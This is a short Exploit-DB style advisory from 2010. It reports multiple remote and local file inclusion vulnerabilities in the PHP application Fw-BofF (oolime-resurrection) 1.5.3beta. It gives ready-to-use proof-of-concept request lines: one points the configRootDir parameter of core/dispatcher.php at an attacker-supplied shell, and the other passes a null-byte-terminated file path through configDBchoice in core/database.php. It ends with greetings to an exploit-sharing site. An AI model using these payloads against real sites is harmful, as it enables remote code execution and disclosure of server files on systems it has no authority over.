Fw-BofF (oolime-resurrection) 1.5.3beta - Multiple Remote File Inclusions

EDB-ID:

11830

CVE:

N/A


Author:

cr4wl3r

Type:

webapps


Platform:

PHP

Date:

2010-03-21


=============================================================================
Fw-BofF (oolime-resurrection) 1.5.3beta Multiple Remote Include Vulnerability
=============================================================================


[+] Fw-BofF (oolime-resurrection) 1.5.3beta Multiple Remote Include Vulnerability
[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11391
[+] Download: http://code.google.com/p/oolime-resurrection/downloads/list

[+] PoC RFI: [path]/core/dispatcher.php?configRootDir=[Shell]

[+] PoC LFI: [path]/core/database.php?configDBchoice=[LFI%00]

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22]